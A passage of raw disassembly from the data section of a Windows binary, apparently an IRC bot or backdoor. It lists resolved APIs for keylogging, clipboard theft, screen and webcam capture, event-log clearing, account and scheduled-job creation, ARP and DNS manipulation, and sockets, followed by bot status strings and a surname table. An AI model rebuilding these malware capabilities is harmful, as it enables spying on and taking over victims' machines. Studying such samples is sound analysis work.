'ShellExecuteA',0 ; DATA XREF: sub_409B12+B8Fo align 4 aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_409B12:loc_40A694o aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409B12+B3Do align 10h aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409B12+B30o align 4 aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_409B12+B23o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_409B12+B1Bo aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_409B12:loc_40A620o aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409B12+AD9o align 4 aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_409B12+AD1o align 4 aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_409B12:loc_40A5D6o align 4 aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409B12+A8Fo align 4 aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409B12+A87o align 4 aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_409B12:loc_40A58Co align 10h aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_409B12+9F9o aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_409B12+9ECo ; sub_4185A4+65o align 4 aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_409B12+9DFo align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_409B12+9D2o aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_409B12+9C5o align 10h aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_409B12+9B8o align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_409B12+9ABo align 4 aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_409B12+99Eo align 10h aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409B12+991o align 4 aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_409B12+984o align 4 aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_409B12+977o aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_409B12+96Fo aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_409B12:loc_40A470o ; sub_4185A4+58o align 4 aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409B12+921o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409B12+914o aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409B12+90Co align 4 aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_409B12:loc_40A411o align 4 aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409B12+8D2o align 4 aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_409B12+860o aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_409B12+853o align 4 aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_409B12+846o align 10h aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_409B12+839o align 4 aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_409B12+82Co align 4 aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_409B12+81Fo align 4 aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_409B12+812o align 4 aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_409B12+805o align 10h aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409B12+7F8o aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_409B12+7F0o align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_409B12:loc_40A2F1o aClosesocket db 'closesocket',0 ; DATA XREF: sub_409B12+6A6o aGetpeername db 'getpeername',0 ; DATA XREF: sub_409B12+699o aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_409B12+68Co align 4 aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_409B12+67Fo align 4 aGethostname db 'gethostname',0 ; DATA XREF: sub_409B12+672o aGetsockname db 'getsockname',0 ; DATA XREF: sub_409B12+665o aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_409B12+658o align 10h aAccept db 'accept',0 ; DATA XREF: sub_409B12+64Bo align 4 aListen db 'listen',0 ; DATA XREF: sub_409B12+63Eo align 10h aSelect db 'select',0 ; DATA XREF: sub_409B12+631o align 4 aBind db 'bind',0 ; DATA XREF: sub_409B12+629o align 10h aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_409B12+617o align 4 aRecv db 'recv',0 ; DATA XREF: sub_409B12+60Ao align 4 aSendto db 'sendto',0 ; DATA XREF: sub_409B12+5FDo align 4 aNtohl db 'ntohl',0 ; DATA XREF: sub_409B12+5E3o align 4 aNtohs db 'ntohs',0 ; DATA XREF: sub_409B12+5D6o align 4 aHtonl db 'htonl',0 ; DATA XREF: sub_409B12+5C9o align 4 aHtons db 'htons',0 ; DATA XREF: sub_409B12+5BCo align 4 aInet_addr db 'inet_addr',0 ; DATA XREF: sub_409B12+5AFo align 4 aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_409B12+5A2o align 4 aConnect db 'connect',0 ; DATA XREF: sub_409B12+595o aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_409B12+588o aSocket db 'socket',0 ; DATA XREF: sub_409B12+57Bo align 10h aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_409B12+56Eo align 4 aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_409B12+561o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_409B12+554o align 4 a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_409B12+547o align 4 aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_409B12+53Ao align 4 aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_409B12+52Do align 4 aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_409B12+525o align 10h aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_409B12+514o align 4 aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_409B12+4A1o align 4 aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_409B12+494o align 4 aBitblt db 'BitBlt',0 ; DATA XREF: sub_409B12+487o align 10h aSelectobject db 'SelectObject',0 ; DATA XREF: sub_409B12+47Ao align 10h aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_409B12+46Do align 4 aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_409B12+460o align 4 aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_409B12+453o align 4 aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_409B12+446o align 4 aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_409B12+43Eo align 4 aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_409B12:loc_409F3Fo align 4 aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_409B12:loc_409F17o align 4 aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409B12+3ADo align 10h aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_409B12+3A0o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_409B12+393o align 4 aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_409B12+386o align 4 aControlservice db 'ControlService',0 ; DATA XREF: sub_409B12+379o align 4 aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_409B12+36Co align 4 aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_409B12+35Fo align 4 aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_409B12:loc_409E69o align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409B12+327o align 10h aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409B12+31Ao align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_409B12:loc_409E24o align 4 aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_409B12+2C6o align 4 aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_409B12+2B9o align 4 aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_409B12+2ACo aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_409B12+29Fo aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_409B12+292o align 4 aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_409B12+285o align 4 aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_409B12+278o aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_409B12+270o align 4 aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_409B12:loc_409D71o align 4 aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_409B12+21Ao aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_409B12+20Do align 10h aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_409B12+200o aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_409B12:loc_409D0Ao align 10h aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_409B12+1A0o align 10h aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_409B12+193o align 10h aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_409B12+186o align 4 aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_409B12+179o align 4 aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_409B12+16Co align 4 aIswindow db 'IsWindow',0 ; DATA XREF: sub_409B12+15Fo align 10h aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_409B12+152o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_409B12+14Ao align 4 aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_409B12:loc_409C47o ; sub_424D78+Do align 4 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_409B12:loc_409C1Ao align 10h aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409B12+A0o align 4 aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409B12+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_409B12+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_409B12+79o align 10h aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409B12+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409B12+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_409B12+52o align 4 aProcess32next db 'Process32Next',0 ; DATA XREF: sub_409B12+45o align 4 aProcess32first db 'Process32First',0 ; DATA XREF: sub_409B12+38o align 4 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409B12+2Bo align 4 aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_409B12+23o align 4 aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_409B12+Ao align 4 unk_42D338 db 2Dh ; - ; DATA XREF: sub_40A7CE+2F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aDllTestComplet db 'DLL test complete.',0 align 4 aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+2CCo align 4 aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+298o aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+264o align 4 aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+230o align 10h aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1FCo align 4 aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1C8o aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+194o align 10h aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+160o align 4 aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+12Co align 4 aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+F8o aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+C4o align 4 aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+90o align 10h aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+5Co aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+28o align 4 a_: ; DATA XREF: sub_40F96A+252o unicode 0, <.>,0 unk_42D4C8 db 2Dh ; - ; DATA XREF: sub_40AB31:loc_40ABF0o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aNotSupportedBy db 'not supported by this system',0 align 4 unk_42D4F8 db 2Dh ; - ; DATA XREF: sub_40AB31:loc_40ABBEo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aUnableToAlloca db 'unable to allocate ARP cache',0 align 4 unk_42D528 db 2Dh ; - ; DATA XREF: sub_40AB31:loc_40AB8Ao db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheIsEmpt db 'ARP cache is empty',0 align 4 unk_42D54C db 2Dh ; - ; DATA XREF: sub_40AB31+49o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aErrorGettingAr db 'error getting ARP cache: %d',0 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40AC0F+46o ; sub_40BFEB+38o align 8 aReal db 'real',0 align 10h dd 0 dword_42D594 dd 0 ; DATA XREF: sub_40B08D+7o off_42D598 dd offset sub_40ACB5 ; DATA XREF: sub_40B08D+49r aConst db 'const',0 align 8 dd 1, 40AD22h, 7474656Ch, 7265h, 0 dd 2, 40AD80h, 706D6F63h, 2 dup(0) dd 3, 40ADCDh, 6E756F63h, 797274h, 0 dd 4, 40AE6Bh, 736Fh, 2 dup(0) dd 5, 40AEE0h off_42D600 dd offset aAbdulrazak ; DATA XREF: sub_40ACB5+21r ; "Abdulrazak" dd offset aAckerman ; "Ackerman" dd offset aAdams ; "Adams" off_42D60C dd offset aAddison ; DATA XREF: sub_40B08D+39o ; "Addison" dd offset aAdelstein ; "Adelstein" dd offset aAdibe ; "Adibe" dd offset aAdorno ; "Adorno" dd offset aAhlers ; "Ahlers" dd offset aAlavi ; "Alavi" dd offset aAlcorn ; "Alcorn" dd offset aAlda ; "Alda" dd offset aAleks ; "Aleks" dd offset aAllison ; "Allison" dd offset aAlongi ; "Alongi" dd offset aAltavilla ; "Altavilla" dd offset aAltenberger ; "Altenberger" dd offset aAltenhofen ; "Altenhofen" dd offset aAmaral ; "Amaral" dd offset aAmatangelo ; "Amatangelo" dd offset aAmeer ; "Ameer" dd offset aAmsden ; "Amsden" dd offset aAnand ; "Anand" dd offset aAndel ; "Andel" dd offset aAndo ; "Ando" dd offset aAndrelus ; "Andrelus" dd offset aAndron ; "Andron" dd offset aAnfinrud ; "Anfinrud" dd offset aAnsley ; "Ansley" dd offset aAnthony ; "Anthony" dd offset aAntos ; "Antos" dd offset aArbia ; "Arbia" dd offset aArduini ; "Arduini" dd offset aArellano ; "Arellano" dd offset aAristotle ; "Aristotle" dd offset aArjas ; "Arjas" dd offset aArky ; "Arky" dd offset aAtkins ; "Atkins" dd offset aAugustus ; "Augustus" dd offset aAurelius ; "Aurelius" dd offset aAxelrod ; "Axelrod" dd offset aAxworthy ; "Axworthy" dd offset aAyiemba ; "Ayiemba" dd offset aAykroyd ; "Aykroyd" dd offset aAyling ; "Ayling" dd offset aAzima ; "Azima" dd offset aBachmuth ; "Bachmuth" dd offset aBackus ; "Backus" dd offset aBady ; "Bady" dd offset aBaglivo ; "Baglivo" dd offset aBagnold ; "Bagnold" dd offset aBailar ; "Bailar" dd offset aBakanowsky ; "Bakanowsky" dd offset aBaleja ; "Baleja" dd offset aBallatori ; "Ballatori" dd offset aBallew ; "Ballew" dd offset aBaltz ; "Baltz" dd offset aBanta ; "Banta" dd offset aBarabesi ; "Barabesi" dd offset aBarajas ; "Barajas" dd offset aBaranczak ; "Baranczak" dd offset aBaranowska ; "Baranowska" dd offset aBarberi ; "Barberi" dd offset aBarbetti ; "Barbetti" dd offset aBarneson ; "Barneson" dd offset aBarnett ; "Barnett" dd offset aBarriola ; "Barriola" dd offset aBarry ; "Barry" dd offset aBartholomew ; "Bartholomew" dd offset aBartolome ; "Bartolome" dd offset aBartoo ; "Bartoo" dd offset aBasavappa ; "Basavappa" dd offset aBashevis ; "Bashevis" dd offset aBatchelder ; "Batchelder" dd offset aBaumiller ; "Baumiller" dd offset aBayles ; "Bayles" dd offset aBayo ; "Bayo" dd offset aBeacon ; "Beacon" dd offset aBeal ; "Beal" dd offset aBean ; "Bean" dd offset aBeckman ; "Beckman" dd offset aBeder ; "Beder" dd offset aBedford ; "Bedford" dd offset aBehenna ; "Behenna" dd offset aBelanger ; "Belanger" dd offset aBelaoussof ; "Belaoussof" dd offset aBelfer ; "Belfer" dd offset aBelinCollart ; "Belin-Collart" dd offset aBellavance ; "Bellavance" dd offset aBellhouse ; "Bellhouse" dd offset aBellini ; "Bellini" dd offset aBelloc ; "Belloc" dd offset aBenedictDye ; "Benedict-Dye" dd offset aBergson ; "Bergson" dd offset aBerkeJenkins ; "Berke-Jenkins" dd offset aBernardo ; "Bernardo" dd offset aBernassola ; "Bernassola" dd offset aBernston ; "Bernston" dd offset aBerrizbeitia ; "Berrizbeitia" dd offset aBetti ; "Betti" dd offset aBeynart ; "Beynart" dd offset aBiagioli ; "Biagioli" dd offset aBickel ; "Bickel" dd offset aBinion ; "Binion" dd offset aBir ; "Bir" dd offset aBisema ; "Bisema" dd offset aBisho ; "Bisho" dd offset aBlackbourn ; "Blackbourn" dd offset aBlackwell ; "Blackwell" dd offset aBlagg ; "Blagg" dd offset aBlakemore ; "Blakemore" dd offset aBlanke ; "Blanke" dd offset aBliss ; "Bliss" dd offset aBlizard ; "Blizard" dd offset aBloch ; "Bloch" dd offset aBloembergen ; "Bloembergen" dd offset aBloemhof ; "Bloemhof" dd offset aBloxham ; "Bloxham" dd offset aBlyth ; "Blyth" dd offset aBolger ; "Bolger" dd offset aBolick ; "Bolick" dd offset aBollinger ; "Bollinger" dd offset aBologna ; "Bologna" dd offset aBoner ; "Boner" dd offset aBonham ; "Bonham" dd offset aBoniface ; "Boniface" dd offset aBontempo ; "Bontempo" dd offset aBook ; "Book" dd offset aBookbinder ; "Bookbinder" dd offset aBoone ; "Boone" dd offset aBoorstin ; "Boorstin" dd offset aBorack ; "Borack" dd offset aBorden ; "Borden" dd offset aBossi ; "Bossi" dd offset aBothman ; "Bothman" dd offset aBotosh ; "Botosh" dd offset aBoudin ; "Boudin" dd offset aBoudrot ; "Boudrot" dd offset aBourneuf ; "Bourneuf" dd offset aBowers ; "Bowers" dd offset aBoxer ; "Boxer" dd offset aBoyajian ; "Boyajian" dd offset aBoyes ; "Boyes" dd offset aBoyland ; "Boyland" dd offset aBoym ; "Boym" dd offset aBoyne ; "Boyne" dd offset aBracalente ; "Bracalente" dd offset aBradac ; "Bradac" dd offset aBradach ; "Bradach" dd offset aBrecht ; "Brecht" dd offset aBreed ; "Breed" dd offset aBrenan ; "Brenan" dd offset aBrennan ; "Brennan" dd offset aBrewer ; "Brewer" dd offset aBrewer ; "Brewer" dd offset aBridgeman ; "Bridgeman" dd offset aBridges ; "Bridges" dd offset aBrinton ; "Brinton" dd offset aBritz ; "Britz" dd offset aBroca ; "Broca" dd offset aBrook ; "Brook" dd offset aBrzycki ; "Brzycki" dd offset aBuchan ; "Buchan" dd offset aBudding ; "Budding" dd offset aBullard ; "Bullard" dd offset aBunton ; "Bunton" dd offset aBurden ; "Burden" dd offset aBurdzy ; "Burdzy" dd offset aBurke ; "Burke" dd offset aBurridge ; "Burridge" dd offset aBusetta ; "Busetta" dd offset aByatt ; "Byatt" dd offset aByerly ; "Byerly" dd offset aByrd ; "Byrd" dd offset aCage ; "Cage" dd offset aCalnan ; "Calnan" dd offset aCammelli ; "Cammelli" dd offset aCammilleri ; "Cammilleri" dd offset aCanley ; "Canley" dd offset aCapanni ; "Capanni" dd offset aCaperton ; "Caperton" dd offset aCapocaccia ; "Capocaccia" dd offset aCapodilupo ; "Capodilupo" dd offset aCappuccio ; "Cappuccio" dd offset aCapursi ; "Capursi" dd offset aCaratozzolo ; "Caratozzolo" dd offset aCarayannopoulo ; "Carayannopoulos" dd offset aCarlin ; "Carlin" dd offset aCarlos ; "Carlos" dd offset aCarlyle ; "Carlyle" dd offset aCarmichael ; "Carmichael" dd offset aCaroti ; "Caroti" dd offset aCarper ; "Carper" dd offset aCartmill ; "Cartmill" dd offset aCascio ; "Cascio" dd offset aCase ; "Case" dd offset aCaspar ; "Caspar" dd offset aCastelda ; "Castelda" dd offset aCavanagh ; "Cavanagh" dd offset aCavell ; "Cavell" dd offset aCeniceros ; "Ceniceros" dd offset aCerioli ; "Cerioli" dd offset aChapman ; "Chapman" dd offset aCharles ; "Charles" dd offset aCheang ; "Cheang" dd offset aCherry ; "Cherry" dd offset aChervinsky ; "Chervinsky" dd offset aChiassino ; "Chiassino" dd offset aChien ; "Chien" dd offset aChildress ; "Childress" dd offset aChilds ; "Childs" dd offset aChinipardaz ; "Chinipardaz" dd offset aChinman ; "Chinman" dd offset aChristenson ; "Christenson" dd offset aChristian ; "Christian" dd offset aChristiano ; "Christiano" dd offset aChristie ; "Christie" dd offset aChristopher ; "Christopher" dd offset aChu ; "Chu" dd offset aChupasko ; "Chupasko" dd offset aChurch ; "Church" dd offset aCiampaglia ; "Ciampaglia" dd offset aCicero ; "Cicero" dd offset aCifarelli ; "Cifarelli" dd offset aClaffey ; "Claffey" dd offset aClancy ; "Clancy" dd offset aClark ; "Clark" dd offset aClement ; "Clement" dd offset aClifton ; "Clifton" dd offset aClow ; "Clow" dd offset aCoblenz ; "Coblenz" dd offset aCoito ; "Coito" dd offset aColdren ; "Coldren" dd offset aColella ; "Colella" dd offset aCollard ; "Collard" dd offset aCollis ; "Collis" dd offset aCompton ; "Compton" dd offset aCompton ; "Compton" dd offset aComstock ; "Comstock" dd offset aConcino ; "Concino" dd offset aCondodina ; "Condodina" dd offset aConnors ; "Connors" dd offset aCorey ; "Corey" dd offset aCornish ; "Cornish" dd offset aCosmides ; "Cosmides" dd offset aCounter ; "Counter" dd offset aCoutaux ; "Coutaux" dd offset aCrawford ; "Crawford" dd offset aCrocker ; "Crocker" dd offset aCroshaw ; "Croshaw" dd offset aCroxen ; "Croxen" dd offset aCroxton ; "Croxton" dd offset aCui ; "Cui" dd offset aCurrier ; "Currier" dd offset aCutler ; "Cutler" dd offset aCvek ; "Cvek" dd offset aCyders ; "Cyders" dd offset aDasilva ; "daSilva" dd offset aDaldalian ; "Daldalian" dd offset aDaly ; "Daly" dd offset aDAmbra ; "D'Ambra" dd offset aDanieli ; "Danieli" dd offset aDante ; "Dante" dd offset aDapice ; "Dapice" dd offset aDArcangelo ; "D'arcangelo" dd offset aDas ; "Das" dd offset aDasgupta ; "Dasgupta" dd offset aDaskalu ; "Daskalu" dd offset aDavid ; "David" dd offset aDawkins ; "Dawkins" dd offset aDegennaro ; "DeGennaro" dd offset aDelapena ; "DeLaPena" dd offset aDelEnclos ; "del'Enclos" dd offset aDerousse ; "deRousse" dd offset aDebroff ; "Debroff" dd offset aDees ; "Dees" dd offset aDefeciani ; "Defeciani" dd offset aDelattre ; "Delattre" dd offset aDeleonRendon ; "Deleon-Rendon" dd offset aDelger ; "Delger" dd offset aDellAcqua ; "Dell'acqua" dd offset aDeming ; "Deming" dd offset aDempster ; "Dempster" dd offset aDemusz ; "Demusz" dd offset aDenault ; "Denault" dd offset aDenham ; "Denham" dd offset aDenison ; "Denison" dd offset aDesombre ; "Desombre" dd offset aDeutsch ; "Deutsch" dd offset aDFini ; "D'fini" dd offset aDicks ; "Dicks" dd offset aDiefenbach ; "Diefenbach" dd offset aDifabio ; "Difabio" dd offset aDifronzo ; "Difronzo" dd offset aDilworth ; "Dilworth" dd offset aDionysius ; "Dionysius" dd offset aDirksen ; "Dirksen" dd offset aDockery ; "Dockery" dd offset aDoherty ; "Doherty" dd offset aDonahue ; "Donahue" dd offset aDonner ; "Donner" dd offset aDoonan ; "Doonan" dd offset aDore ; "Dore" dd offset aDorf ; "Dorf" dd offset aDosi ; "Dosi" dd offset aDoty ; "Doty" dd offset aDoug ; "Doug" dd offset aDowsland ; "Dowsland" dd offset aDrinker ; "Drinker" dd offset aDSouza ; "D'souza" dd offset aDuffin ; "Duffin" dd offset aDurrett ; "Durrett" dd offset aDussault ; "Dussault" dd offset aDwyer ; "Dwyer" dd offset aEardley ; "Eardley" dd offset aEbeling ; "Ebeling" dd offset aEckel ; "Eckel" dd offset aEdley ; "Edley" dd offset aEdner ; "Edner" dd offset aEdward ; "Edward" dd offset aEickenhorst ; "Eickenhorst" dd offset aEliasson ; "Eliasson" dd offset aElmendorf ; "Elmendorf" dd offset aElmerick ; "Elmerick" dd offset aElvis ; "Elvis" dd offset aEncinas ; "Encinas" dd offset aEnyeart ; "Enyeart" dd offset aEppling ; "Eppling" dd offset aErbach ; "Erbach" dd offset aErdman ; "Erdman" dd offset aErdos ; "Erdos" dd offset aErez ; "Erez" dd offset aEspinoza ; "Espinoza" dd offset aEstes ; "Estes" dd offset aEtter ; "Etter" dd offset aEuripides ; "Euripides" dd offset aEverett ; "Everett" dd offset aFabbris ; "Fabbris" dd offset aFagan ; "Fagan" dd offset aFaioes ; "Faioes" dd offset aFalcoAcosta ; "Falco-Acosta" dd offset aFalorsi ; "Falorsi" dd offset aFaris ; "Faris" dd offset aFarone ; "Farone" dd offset aFarren ; "Farren" dd offset aFasso ; "Fasso'" dd offset aFates ; "Fates" dd offset aFeigenbaum ; "Feigenbaum" dd offset aFejzo ; "Fejzo" dd offset aFeldman ; "Feldman" dd offset aFernald ; "Fernald" dd offset aFernandes ; "Fernandes" dd offset aFerrante ; "Ferrante" dd offset aFerriell ; "Ferriell" dd offset aFeuer ; "Feuer" dd offset aFido ; "Fido" dd offset aField ; "Field" dd offset aFink ; "Fink" dd offset aFinkelstein ; "Finkelstein" dd offset aFinnegan ; "Finnegan" dd offset aFiorina ; "Fiorina" dd offset aFisk ; "Fisk" dd offset aFitzmaurice ; "Fitzmaurice" dd offset aFlier ; "Flier" dd offset aFlores ; "Flores" dd offset aFolks ; "Folks" dd offset aForester ; "Forester" dd offset aFortes ; "Fortes" dd offset aFortier ; "Fortier" dd offset aFossey ; "Fossey" dd offset aFossi ; "Fossi" dd offset aFrancisco ; "Francisco" dd offset aFranklinKenea ; "Franklin-Kenea" dd offset aFranz ; "Franz" dd offset aFrazierDavis ; "Frazier-Davis" dd offset aFreid ; "Freid" dd offset aFreundlich ; "Freundlich" dd offset aFried ; "Fried" dd offset aFriedland ; "Friedland" dd offset aFrisken ; "Frisken" dd offset aFrowiss ; "Frowiss" dd offset aFryberger ; "Fryberger" dd offset aFrye ; "Frye" dd offset aFujiiAbe ; "Fujii-Abe" dd offset aFuller ; "Fuller" dd offset aFurth ; "Furth" dd offset aFusaro ; "Fusaro" dd offset aGabrielli ; "Gabrielli" dd offset aGaggiotti ; "Gaggiotti" dd offset aGaleotti ; "Galeotti" dd offset aGalwey ; "Galwey" dd offset aGambini ; "Gambini" dd offset aGarfield ; "Garfield" dd offset aGarman ; "Garman" dd offset aGaronna ; "Garonna" dd offset aGeller ; "Geller" dd offset aGemberling ; "Gemberling" dd offset aGeorgi ; "Georgi" dd offset aGerrett ; "Gerrett" dd offset aGhorai ; "Ghorai" dd offset aGibbens ; "Gibbens" dd offset aGibson ; "Gibson" dd offset aGilbert ; "Gilbert" dd offset aGili ; "Gili" dd offset aGill ; "Gill" dd offset aGillispie ; "Gillispie" dd offset aGist ; "Gist" dd offset aGleason ; "Gleason" dd offset aGlegg ; "Glegg" dd offset aGlendon ; "Glendon" dd offset aGoldfarb ; "Goldfarb" dd offset aGoncalves ; "Goncalves" dd offset aGood ; "Good" dd offset aGoodearl ; "Goodearl" dd offset aGoody ; "Goody" dd offset aGozzi ; "Gozzi" dd offset aGravell ; "Gravell" dd offset aGreenberg ; "Greenberg" dd offset aGreenfeld ; "Greenfeld" dd offset aGriffiths ; "Griffiths" dd offset aGrigoletto ; "Grigoletto" dd offset aGrummell ; "Grummell" dd offset aGruner ; "Gruner" dd offset aGruppe ; "Gruppe" dd offset aGuenthart ; "Guenthart" dd offset aGunn ; "Gunn" dd offset aGuo ; "Guo" dd offset aHa ; "Ha" dd offset aHaar ; "Haar" dd offset aHackman ; "Hackman" dd offset aHackshaw ; "Hackshaw" dd offset aHaley ; "Haley" dd offset aHalkias ; "Halkias" dd offset aHallowell ; "Hallowell" dd offset aHalpert ; "Halpert" dd offset aHambarzumjan ; "Hambarzumjan" dd offset 